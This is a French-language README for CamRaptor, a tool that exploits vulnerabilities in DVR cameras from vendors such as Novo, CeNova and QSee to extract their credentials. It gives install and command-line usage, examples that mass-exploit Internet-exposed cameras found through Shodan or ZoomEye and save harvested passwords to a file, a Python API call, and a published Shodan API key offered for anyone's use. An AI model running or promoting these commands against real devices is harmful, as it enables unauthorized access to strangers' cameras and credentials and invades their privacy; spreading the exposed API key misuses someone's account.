CamRaptor

CamRaptor est un outil qui exploite plusieurs vulnérabilités dans les caméras DVR populaires pour obtenir les identifiants des caméras réseau.

Fonctionnalités

• Exploite les vulnérabilités des modèles de caméras les plus populaires tels que Novo, CeNova et QSee.
• Optimisé pour exploiter plusieurs caméras à la fois à partir d'une liste avec le threading activé.
• Utilisation simple en ligne de commande et via l'API.

Installation

pip3 install git+https://github.com/EntySec/CamRaptor

Utilisation de base

Pour utiliser CamRaptor, tapez simplement camraptor dans votre terminal.

usage: camraptor [-h] [-t] [-o OUTPUT] [-i INPUT] [-a ADDRESS]
                 [--shodan SHODAN] [--zoomeye ZOOMEYE] [-p PAGES]

CamRaptor is a tool that exploits several vulnerabilities in popular DVR
cameras to obtain network camera credentials.

optional arguments:
  -h, --help            show this help message and exit
  -t, --threads         Use threads for fastest work.
  -o OUTPUT, --output OUTPUT
                        Output result to file.
  -i INPUT, --input INPUT
                        Input file of addresses.
  -a ADDRESS, --address ADDRESS
                        Single address.
  --shodan SHODAN       Shodan API key for exploiting devices over Internet.
  --zoomeye ZOOMEYE     ZoomEye API key for exploiting devices over Internet.
  -p PAGES, --pages PAGES
                        Number of pages you want to get from ZoomEye.

Exemples

Exploitation d'une seule caméra

Pirater ma caméra juste pour le fun.

camraptor -a 192.168.99.100

Exploitation de caméras depuis Internet

Essayons d'utiliser le moteur de recherche Shodan pour exploiter des caméras sur Internet, nous l'utiliserons avec -t pour une exploitation rapide.

camraptor -t --shodan PSKINdQe1GyxGgecYz2191H2JoS9qvgD

REMARQUE : La clé API Shodan donnée (PSKINdQe1GyxGgecYz2191H2JoS9qvgD) est ma clé PRO, vous pouvez utiliser cette clé ou la vôtre, n'hésitez pas à utiliser toutes nos ressources gratuitement :)

Exploitation de caméras à partir d'un fichier d'entrée

Essayons d'utiliser une base de données ouverte de caméras avec -t pour une exploitation rapide.

camraptor -t -i cameras.txt -o passwords.txt

REMARQUE : Cela exploitera toutes les caméras de la liste cameras.txt par leurs adresses et enregistrera tous les mots de passe obtenus dans passwords.txt.

Utilisation de l'API

CamRaptor dispose également de sa propre API Python qui peut être invoquée en important CamRaptor dans votre code.

from camraptor import CamRaptor

Fonctions de base

Voici toutes les fonctions de base de CamRaptor qui peuvent être utilisées pour exploiter une caméra spécifiée.

• exploit(address) - Exploite une seule caméra à partir d'une adresse donnée.

Exemples

Exploitation d'une seule caméra

from camraptor import CamRaptor

camraptor = CamRaptor()
creds = camraptor.exploit('192.168.99.100')

print(creds)